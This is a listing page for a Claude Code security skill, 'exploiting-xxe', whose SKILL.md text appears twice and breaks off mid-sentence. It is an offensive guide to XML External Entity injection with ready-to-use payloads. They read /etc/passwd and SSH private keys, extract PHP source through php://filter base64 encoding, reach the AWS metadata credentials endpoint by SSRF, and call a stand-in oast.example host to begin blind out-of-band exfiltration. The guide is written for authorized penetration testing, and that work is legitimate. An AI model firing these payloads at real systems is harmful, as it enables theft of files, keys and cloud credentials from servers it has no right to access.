/exploiting-xxe
Exploit XML External Entity injection to read local files and reach internal services — in-band file read, php://filter base64 wrappers, SSRF to cloud metadata, blind out-of-band exfiltration with an external DTD, parameter entities, XInclude, and SVG/Office-document vectors.
$ npx -y skills add trilwu/secskills --skill exploiting-xxe --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/exploiting-xxe
Context preview
The summary Claude sees to decide when to auto-load this skill.
Exploit XML External Entity injection to read local files and reach internal services — in-band file read, php://filter base64 wrappers, SSRF to cloud metadata, blind out-of-band exfiltration with an external DTD, parameter entities, XInclude, and SVG/Office-document vectors.
SKILL.md
exploiting-xxe.SKILL.mdname: exploiting-xxe
description: Exploit XML External Entity injection to read local files and reach internal services — in-band file read, php://filter base64 wrappers, SSRF to cloud metadata, blind out-of-band exfiltration with an external DTD, parameter entities, XInclude, and SVG/Office-document vectors. Use when an endpoint accepts XML (`Content-Type: application/xml`, `text/xml`, or a SOAP envelope), a file upload parses SVG, DOCX, XLSX, PPTX, PDF, or raw XML, a request body starts with `<?xml`, or the target consumes SAML.
verified: 2026-07-26
Exploiting XXE
XXE is what happens when an XML parser is allowed to resolve external entities the document defines. The attacker writes a DTD that tells the parser to fetch a file or a URL, and the parser obliges with the server's privileges. The reach is local file read and SSRF into the internal network. The hard cases are blind — the parser resolves the entity but never reflects it, so you exfiltrate out of band or through error messages.
Only against systems you are authorized to test.
When to Use
- A request body is XML: `Content-Type: application/xml`, `text/xml`, or a SOAP
envelope, and the body starts with `<?xml`
- A file upload parses a format that is XML underneath: SVG, or an Office OOXML
file (DOCX, XLSX, PPTX) which is a ZIP of XML parts, or an XML-bearing PDF
- An endpoint consumes RSS/Atom feeds, XML-RPC, or SAML assertions
- A parameter or field is later embedded into a server-side XML document
- Source review shows an XML parser built without external entities disabled
- You have a suspected sink but no reflected output — test for blind XXE
When NOT to Use
- **The wider web methodology** — use `testing-web-applications` to find the
sink before you land here
- **The primitive is a plain URL fetch, not XML** — use `exploiting-ssrf`
- **Object deserialization** — a different sink; use `exploiting-deserialization`
- **XXE inside a SAML flow specifically** — start with `attacking-saml` for the
signature, replay, and assertion context, then return here for the parser
- **Finding the parser configuration in source** — use
`auditing-code-for-vulnerabilities`
Recognizing XML Sinks
XML hides in more places than a `Content-Type` header:
- **Raw XML bodies** — REST endpoints that accept `application/xml`
- **SOAP** — the envelope is XML; the `<?xml` prolog and DTD go before `<soap:Envelope>`
- **SVG uploads** — avatars, image processors, thumbnailers, chart renderers
- **Office OOXML** — DOCX/XLSX/PPTX are ZIP archives of XML parts; the parser
reads `word/document.xml`, `xl/workbook.xml`, etc.
- **PDF** — some generators and XMP metadata paths parse embedded XML
- **RSS/Atom** — feed importers parse attacker-controlled feed URLs
- **SAML** — the `<samlp:Response>` and `<saml:Assertion>` are XML
- **XML-RPC** — the method call envelope is XML
- **Config/import features** — "import from XML", sitemap uploads, plist parsing
The tell for a live parser: submit a benign internal entity and see it expand.
<?xml version="1.0"?>
<!DOCTYPE r [ <!ENTITY test "expanded-value"> ]>
<r>&test;</r>
If `expanded-value` appears in the response, general entities resolve and the next step is an external entity.
Classic In-Band File Read
When the entity value is reflected somewhere in the response:
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<foo>&xxe;</foo>
Place `&xxe;` in whatever element the application echoes back — a name, a comment, a search term. High-value local targets:
file:///etc/passwd
file:///etc/hostname
file:///proc/self/environ # env vars, sometimes secrets and tokens
file:///proc/self/cmdline
file:///proc/self/cwd/ # directory listing on some parsers
file:///var/www/html/config.php
file:///home/<user>/.ssh/id_rsa
file:///c:/windows/win.ini # Windows
php://filter for Files That Break XML
A file containing `<`, `&`, or other XML-significant bytes (source code, config, `/etc/shadow`) will break the parse when read directly. On PHP targets, wrap it in the base64 filter so the entity value is pure base64:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">
]>
<foo>&xxe;</foo>
Decode the returned blob with `base64 -d`. This is the go-to for reading PHP source and any file whose raw content would otherwise corrupt the document.
SSRF via XXE
An external entity pointed at a URL turns the parser into an HTTP client. The server fetches with its own network position, which reaches internal services and the cloud metadata endpoint:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<foo>&xxe;</foo>
Everything about target selection, IMDSv2's header requirement, alternate IP encodings, and internal service hunting lives in `exploiting-ssrf` — XXE is just another way to originate the request. Note the XML parser is a *plain* fetcher: it cannot set the `X-aws-ec2-metadata-token` header, so IMDSv2 blocks it the same way it blocks simple SSRF. AWS IMDSv1 needs no header and stays in reach, but Azure (`Metadata: true`) and GCP (`Metadata-Flavor: Google`) require a header XXE cannot set — out of reach like IMDSv2. Header-less internal services remain.
Blind XXE: Out-of-Band Exfiltration
Most real XXE returns nothing useful. Confirm the parser reaches out at all with a simple OOB ping:
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://<unique>.oast.example/ping"> ]>
<foo>&xxe;</foo>
A DNS or HTTP hit at Burp Collaborator / interact.sh confirms blind XXE. To exfiltrate file contents you need **parameter entities** (`%name`) and an **external DTD** hosted on your server, because a general external entity cannot be used inside another entity's definition, but parameter entities can.
Host t
Read more
name: exploiting-xxe description: Exploit XML External Entity injection to read local files and reach internal services — in-band file read, php://filter base64 wrappers, SSRF to cloud metadata, blind out-of-band exfiltration with an external DTD, parameter entities, XInclude, and SVG/Office-document vectors. Use when an endpoint accepts XML (`Content-Type: application/xml`, `text/xml`, or a SOAP envelope), a file upload parses SVG, DOCX, XLSX, PPTX, PDF, or raw XML, a request body starts with `<?xml`, or the target consumes SAML. verified: 2026-07-26
Exploiting XXE
XXE is what happens when an XML parser is allowed to resolve external entities the document defines. The attacker writes a DTD that tells the parser to fetch a file or a URL, and the parser obliges with the server's privileges. The reach is local file read and SSRF into the internal network. The hard cases are blind — the parser resolves the entity but never reflects it, so you exfiltrate out of band or through error messages.
Only against systems you are authorized to test.
When to Use
- A request body is XML: `Content-Type: application/xml`, `text/xml`, or a SOAP
envelope, and the body starts with `<?xml`
- A file upload parses a format that is XML underneath: SVG, or an Office OOXML
file (DOCX, XLSX, PPTX) which is a ZIP of XML parts, or an XML-bearing PDF
- An endpoint consumes RSS/Atom feeds, XML-RPC, or SAML assertions
- A parameter or field is later embedded into a server-side XML document
- Source review shows an XML parser built without external entities disabled
- You have a suspected sink but no reflected output — test for blind XXE
When NOT to Use
- **The wider web methodology** — use `testing-web-applications` to find the
sink before you land here
- **The primitive is a plain URL fetch, not XML** — use `exploiting-ssrf`
- **Object deserialization** — a different sink; use `exploiting-deserialization`
- **XXE inside a SAML flow specifically** — start with `attacking-saml` for the
signature, replay, and assertion context, then return here for the parser
- **Finding the parser configuration in source** — use
`auditing-code-for-vulnerabilities`
Recognizing XML Sinks
XML hides in more places than a `Content-Type` header:
- **Raw XML bodies** — REST endpoints that accept `application/xml`
- **SOAP** — the envelope is XML; the `<?xml` prolog and DTD go before `<soap:Envelope>`
- **SVG uploads** — avatars, image processors, thumbnailers, chart renderers
- **Office OOXML** — DOCX/XLSX/PPTX are ZIP archives of XML parts; the parser
reads `word/document.xml`, `xl/workbook.xml`, etc.
- **PDF** — some generators and XMP metadata paths parse embedded XML
- **RSS/Atom** — feed importers parse attacker-controlled feed URLs
- **SAML** — the `<samlp:Response>` and `<saml:Assertion>` are XML
- **XML-RPC** — the method call envelope is XML
- **Config/import features** — "import from XML", sitemap uploads, plist parsing
The tell for a live parser: submit a benign internal entity and see it expand.
<?xml version="1.0"?> <!DOCTYPE r [ <!ENTITY test "expanded-value"> ]> <r>&test;</r>
If `expanded-value` appears in the response, general entities resolve and the next step is an external entity.
Classic In-Band File Read
When the entity value is reflected somewhere in the response:
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>&xxe;</foo>
Place `&xxe;` in whatever element the application echoes back — a name, a comment, a search term. High-value local targets:
file:///etc/passwd file:///etc/hostname file:///proc/self/environ # env vars, sometimes secrets and tokens file:///proc/self/cmdline file:///proc/self/cwd/ # directory listing on some parsers file:///var/www/html/config.php file:///home/<user>/.ssh/id_rsa file:///c:/windows/win.ini # Windows
php://filter for Files That Break XML
A file containing `<`, `&`, or other XML-significant bytes (source code, config, `/etc/shadow`) will break the parse when read directly. On PHP targets, wrap it in the base64 filter so the entity value is pure base64:
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php"> ]> <foo>&xxe;</foo>
Decode the returned blob with `base64 -d`. This is the go-to for reading PHP source and any file whose raw content would otherwise corrupt the document.
SSRF via XXE
An external entity pointed at a URL turns the parser into an HTTP client. The server fetches with its own network position, which reaches internal services and the cloud metadata endpoint:
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> ]> <foo>&xxe;</foo>
Everything about target selection, IMDSv2's header requirement, alternate IP encodings, and internal service hunting lives in `exploiting-ssrf` — XXE is just another way to originate the request. Note the XML parser is a *plain* fetcher: it cannot set the `X-aws-ec2-metadata-token` header, so IMDSv2 blocks it the same way it blocks simple SSRF. AWS IMDSv1 needs no header and stays in reach, but Azure (`Metadata: true`) and GCP (`Metadata-Flavor: Google`) require a header XXE cannot set — out of reach like IMDSv2. Header-less internal services remain.
Blind XXE: Out-of-Band Exfiltration
Most real XXE returns nothing useful. Confirm the parser reaches out at all with a simple OOB ping:
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://<unique>.oast.example/ping"> ]> <foo>&xxe;</foo>
A DNS or HTTP hit at Burp Collaborator / interact.sh confirms blind XXE. To exfiltrate file contents you need **parameter entities** (`%name`) and an **external DTD** hosted on your server, because a general external entity cannot be used inside another entity's definition, but parameter entities can.
Host t
**Security skills for Claude Code that encode the judgment professionals bring, not another wrapper around a scanner.** Offense, defense, and the reverse-engineering and code-audit core both sides share. Every skill is fact-checked against primary sources.

